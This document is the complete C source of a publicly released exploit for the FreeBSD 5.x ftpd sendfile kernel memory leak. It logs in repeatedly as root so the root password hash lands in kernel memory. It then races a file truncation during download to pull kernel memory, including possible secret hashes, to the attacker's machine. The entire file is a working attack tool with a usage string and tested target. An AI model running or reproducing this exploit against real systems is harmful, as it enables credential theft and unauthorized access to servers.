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/*FreeBSD <= 5.4-RELEASE ftpd (Version 6.00LS) sendfile kernel mem-leak by Kingcope February 2011 -- kernel memory file may contain secret hashes and more.. tested on FreeBSD 5.3-RELEASE reference: FreeBSD-SA-05:02.sendfile */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <netdb.h> #include <fcntl.h> #include <unistd.h> int createconnection(char *target, char *targetport); void getline(int s); void putline(int s, char *out); void usage(char *exe); char in[8096]; char out[8096]; char out2[8096]; int main(int argc, char *argv[]) { extern int optind; extern char *optarg; int s,s2,s3,s4,nsock,nsock2; int c,k,len; int fd,lockfd; int total_kmem_size=0; char *target = NULL; char *username = NULL; char *password = NULL; char *writeto = "."; char *targetport = "21"; char *myip = NULL; char *myip2 = NULL; char *myip3 = NULL; int octet_in[4], port; struct sockaddr_in yo, yo2, cli, cli2; char *oct = NULL; while ((c = getopt(argc, argv, "h:i:p:l:k:d:s:")) != EOF) { switch(c) { case 'h': target = (char*)malloc(strlen(optarg)+1); strcpy(target, optarg); break; case 'i': myip = (char*)malloc(strlen(optarg)+1); strcpy(myip, optarg); myip2 = (char*)malloc(strlen(optarg)+1); strcpy(myip2, optarg); myip3 = (char*)malloc(strlen(optarg)+1); strcpy(myip3, optarg); break; case 'p': targetport = (char*)malloc(strlen(optarg)+1); strcpy(targetport, optarg); break; case 'l': username = (char*)malloc(strlen(optarg)+1); strcpy(username, optarg); break; case 'k': password = (char*)malloc(strlen(optarg)+1); strcpy(password, optarg); break; case 'd': writeto = (char*)malloc(strlen(optarg)+1); strcpy(writeto, optarg); break; case 's': total_kmem_size = atoi(optarg); break; default: usage(argv[0]); } } if (target == NULL || myip == NULL) usage(argv[0]); if (total_kmem_size < 10) { printf("size must be greater or equal 10.\n"); usage(argv[0]); } if (username == NULL || password == NULL) { usage(argv[0]); } s = createconnection(target, targetport); getline(s); fprintf(stderr, "populating root hash in memory...\n"); for (k=0;k<3;k++) { snprintf(out, sizeof out, "USER root\r\n"); putline(s, out); getline(s); snprintf(out, sizeof out, "PASS abcdef\r\n"); putline(s,out); getline(s); } fprintf(stderr, "logging in...\n"); snprintf(out, sizeof out, "USER %s\r\n", username); putline(s, out); getline(s); snprintf(out, sizeof out, "PASS %s\r\n", password); putline(s,out); getline(s); fprintf(stderr, "changing to writeable directory...\n"); snprintf(out, sizeof out, "CWD %s\r\n", writeto); putline(s, out); getline(s); fprintf(stderr, "putting file. this may take some time (%dMB)...\n", total_kmem_size); snprintf(out, sizeof out, "TYPE I\r\n"); putline(s, out); getline(s); port = getpid() + 2048; len = sizeof(cli); bzero(&yo, sizeof(yo)); yo.sin_family = AF_INET; yo.sin_port=htons(port); yo.sin_addr.s_addr = htonl(INADDR_ANY); oct=(char *)strtok(myip,"."); octet_in[0]=atoi(oct); oct=(char *)strtok(NULL,"."); octet_in[1]=atoi(oct); oct=(char *)strtok(NULL,"."); octet_in[2]=atoi(oct); oct=(char *)strtok(NULL,"."); octet_in[3]=atoi(oct); snprintf(out, sizeof out, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256); putline(s, out); getline(s); if ((s2=socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket"); return -1; } if ((bind(s2, (struct sockaddr *) &yo, sizeof(yo))) < 0) { perror("bind"); close(s2); exit(1); } if (listen(s2, 10) < 0) { perror("listen"); close(s2); exit(1); } snprintf(out, sizeof out, "STOR kernelmemory\r\n"); putline(s, out); getline(s); sleep(1); if ((nsock = accept(s2, (struct sockaddr *)&cli, &len)) < 0) { perror("accept"); close(s); exit(1); } k=0; char *out3=NULL; out3 = (char*)malloc(1024*1024*10); if (out3 == NULL) { perror("malloc"); exit(0); } memset(out3, 'C', 10*1024*1024); do { k += write(nsock, out3, 10*1024*1024); if (k % 1000 == 0) fprintf(stderr, "\r\r\r%d|%d", k, total_kmem_size * 1024 * 1024); } while (k < total_kmem_size * 1024 * 1024); free(out3); close(nsock); close(fd); getline(s); fprintf(stderr, "getting file...\n"); fprintf(stderr, "forking truncate process into background.\n"); unlink("exploit.lck"); if (fork() == 0) { fprintf(stderr, "=====START TRUNCATE FILE PROCESS ======\n"); s3 = createconnection(target, targetport); getline(s3); snprintf(out, sizeof out, "USER %s\r\n", username); putline(s3, out); getline(s3); snprintf(out, sizeof out, "PASS %s\r\n", password); putline(s3,out); getline(s3); while(1) { if (open("exploit.lck", O_RDONLY) > 0) { break; } } snprintf(out, sizeof out, "TYPE I\r\n"); putline(s3, out); getline(s3); port = getpid() + 4000; len = sizeof(cli2); bzero(&yo2, sizeof(yo2)); yo2.sin_family = AF_INET; yo2.sin_port=htons(port); yo2.sin_addr.s_addr = htonl(INADDR_ANY); oct=(char *)strtok(myip3,"."); octet_in[0]=atoi(oct); oct=(char *)strtok(NULL,"."); octet_in[1]=atoi(oct); oct=(char *)strtok(NULL,"."); octet_in[2]=atoi(oct); oct=(char *)strtok(NULL,"."); octet_in[3]=atoi(oct); snprintf(out, sizeof out, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256); putline(s3, out); getline(s3); if ((s4=socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket"); return -1; } if ((bind(s4, (struct sockaddr *) &yo2, sizeof(yo2))) < 0) { perror("bind"); close(s3); exit(1); } if (listen(s4, 10) < 0) { perror("listen"); close(s2); exit(1); } snprintf(out, sizeof out, "STOR kernelmemory\r\n"); putline(s3, out); getline(s3); sleep(1); if ((nsock2 = accept(s4, (struct sockaddr *)&cli2, &len)) < 0) { perror("accept"); close(s); exit(1); } close(nsock2); close(fd); close(s4); fprintf(stderr, "=====END TRUNCATE FILE PROCESS ======\n\n"); fprintf(stderr, "Wait for the download to complete...\n"); while(1); } snprintf(out, sizeof out, "REST 0\r\n"); putline(s, out); getline(s); snprintf(out, sizeof out, "TYPE I\r\n"); putline(s, out); getline(s); port = getpid() + 1024; len = sizeof(cli); bzero(&yo, sizeof(yo)); yo.sin_family = AF_INET; yo.sin_port=htons(port); yo.sin_addr.s_addr = htonl(INADDR_ANY); oct=(char *)strtok(myip2,"."); octet_in[0]=atoi(oct); oct=(char *)strtok(NULL,"."); octet_in[1]=atoi(oct); oct=(char *)strtok(NULL,"."); octet_in[2]=atoi(oct); oct=(char *)strtok(NULL,"."); octet_in[3]=atoi(oct); snprintf(out, sizeof out, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256); putline(s, out); getline(s); if ((s2=socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket"); return -1; } if ((bind(s2, (struct sockaddr *) &yo, sizeof(yo))) < 0) { perror("bind"); close(s2); exit(1); } if (listen(s2, 10) < 0) { perror("listen"); close(s2); exit(1); } snprintf(out, sizeof out, "CWD %s\r\n", writeto); putline(s, out); getline(s); snprintf(out, sizeof out, "RETR kernelmemory\r\n"); putline(s, out); getline(s); sprintf(out, "kernelmemory.%d", getpid()); fprintf(stderr, "saving kernel memory to >>> %s <<<\n", out); fd = open(out, O_WRONLY | O_CREAT, 0777); if (fd == -1) { perror("open on local 'kernelmemory' file"); close(s); exit(1); } sleep(1); if ((nsock = accept(s2, (struct sockaddr *)&cli, &len)) < 0) { perror("accept"); close(s); exit(1); } int k2=0; char *in2 = (char*)malloc(1024*1024*10); if (in2 == NULL) { perror("malloc"); exit(0); } do { k = recv(nsock, in2, 1024*1024*10, 0); if (k < 1) break; k2+=k; //if (k2 % 1000 == 0) fprintf(stderr, "\r\r\rREAD=%d BYTES ", k2); if (k2 > 1024) { lockfd = open("exploit.lck", O_CREAT|O_RDWR, 0777); sleep(1); close(lockfd); } write(fd, in2, k); } while (k > 0); free(in2); getline(s); close(nsock); close(fd); close(s); } int createconnection(char *target, char *targetport) { struct addrinfo hints, *res; int s; memset(&hints, 0, sizeof hints); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; if (getaddrinfo(target, targetport, &hints, &res)) { perror("getaddrinfo"); exit(1); } s = socket(res->ai_family, res->ai_socktype, res->ai_protocol); if (s < 0) { perror("socket"); exit(1); } if (connect(s, res->ai_addr, res->ai_addrlen) < 0) { perror("connect"); exit(1); } return s; } void getline(int s) { memset(in, '\0', sizeof in); if (recv(s, in, sizeof in, 0) < 1) { perror("recv"); close(s); exit(1); } fprintf(stderr, "<\t%s", in); } void putline(int s, char *out) { fprintf(stderr, ">\t%s", out); if (send(s, out, strlen(out), 0) == -1) { perror("send"); close(s); exit(1); } } void usage(char *exe) { fprintf(stderr, "%s <-h host> <-i your internal ip> <-s size in MB to read from kernel> [-p port] <-l username> <-k password>" " [-d writable directory] \n", exe); exit(0); } /* EoF */ |
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